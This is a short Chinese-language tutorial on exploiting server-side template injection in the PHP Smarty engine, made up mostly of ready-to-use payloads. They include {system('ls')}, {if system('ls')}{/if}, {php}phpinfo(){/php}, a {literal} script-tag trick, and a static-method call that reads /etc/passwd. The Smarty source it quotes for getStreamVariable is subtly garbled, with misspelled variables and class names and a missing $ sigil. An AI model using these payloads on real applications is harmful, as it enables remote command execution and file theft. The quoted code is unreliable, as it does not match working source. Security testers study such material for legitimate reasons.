深入解析Smarty SSTI 利用
Smarty
Smarty是基于PHP开发的，对于Smarty的SSTI 的利用与常见的flask的SSTI有很大区别，了解过Jinjia2模板注入的应该知道，Jinjia2是基于python的，而Smarty是基于PHP的，所以使用起来还是比较容易地，我们只需要达到 命令执行即可
查看版本
{$smarty.version}
常用标签
{php}
Smarty支持使用{php}{/php}标签来执行被包裹其中地命令，最常规地思路就是先测试该标签
{php}phpinfo(){/php}
不过Smarty已经废弃了{php}标签。在Smarty3.1，{php}仅可以在Smarty BC中使用。
直接输入命令即可
{system('ls')}
{literal}标签
官方手册这样描述这个标签
{literal}可以让一个模板区域的字符原样输出，这样常常用于保护页面上的JavaScript或者CSS样式表，避免因为Smarty的定界符而被错误解析
使用JavaScript语句进行命令执行，常见的变形语句：
<script language="php">phpinfo();</script>
当然这样的语法，在php5中可以使用，在PHP7中不可以使用。
因为**{literal}**中支持JavaScript语法，所以我们可以RCE
{literal}<script language="php">phpinfo();</script>
{/literal}
调用静态方法
通过self获取Smarty类，再调用其静态方法实现文件读写
Smarty类的getStreamVariable方法的代码
public function getStreamVariable($variable) {$_result = '';$fp = fopen($variable,'r+');if ($fp) {while(!feof($fp) && (current_line = fgets($fp)) != false){$_result .= $current_line;}fclose($fp);return $_result;}$smarty = isset($this -> smarty)?$this->smarty : $this;if($smarth->error_unassigned) {throw new SmartyExcption('undefined stram variable ""'.$variable.'"');}else {return null;}
}
这个方法可以读取一个文件并返回其内容，所以我们可以使用self来获取smarty对象，并调用这个方法，很多文章里面给的payload都形如
{self::getStreamVariable("file:///etc/passwd")}
{if}
官方文档中这样描述
Smarty的{if}条件判断和PHP的if非常相似，只是增加了一些特性，每个{if}必须有一个配对的{/if},也可以使用{else}和{elseif}，全部的PHP条件表达式和函数都可以在{if}内使用，比如|| 、 or 、 && 、 and 、is_array()等等，如{if_is_array($array)}{/if}*
既然全部的PHP函数都可以使用，那么我们可以是利用此来执行我们的代码
{if phpinfo()}{/if}
{if system('ls')}{/if}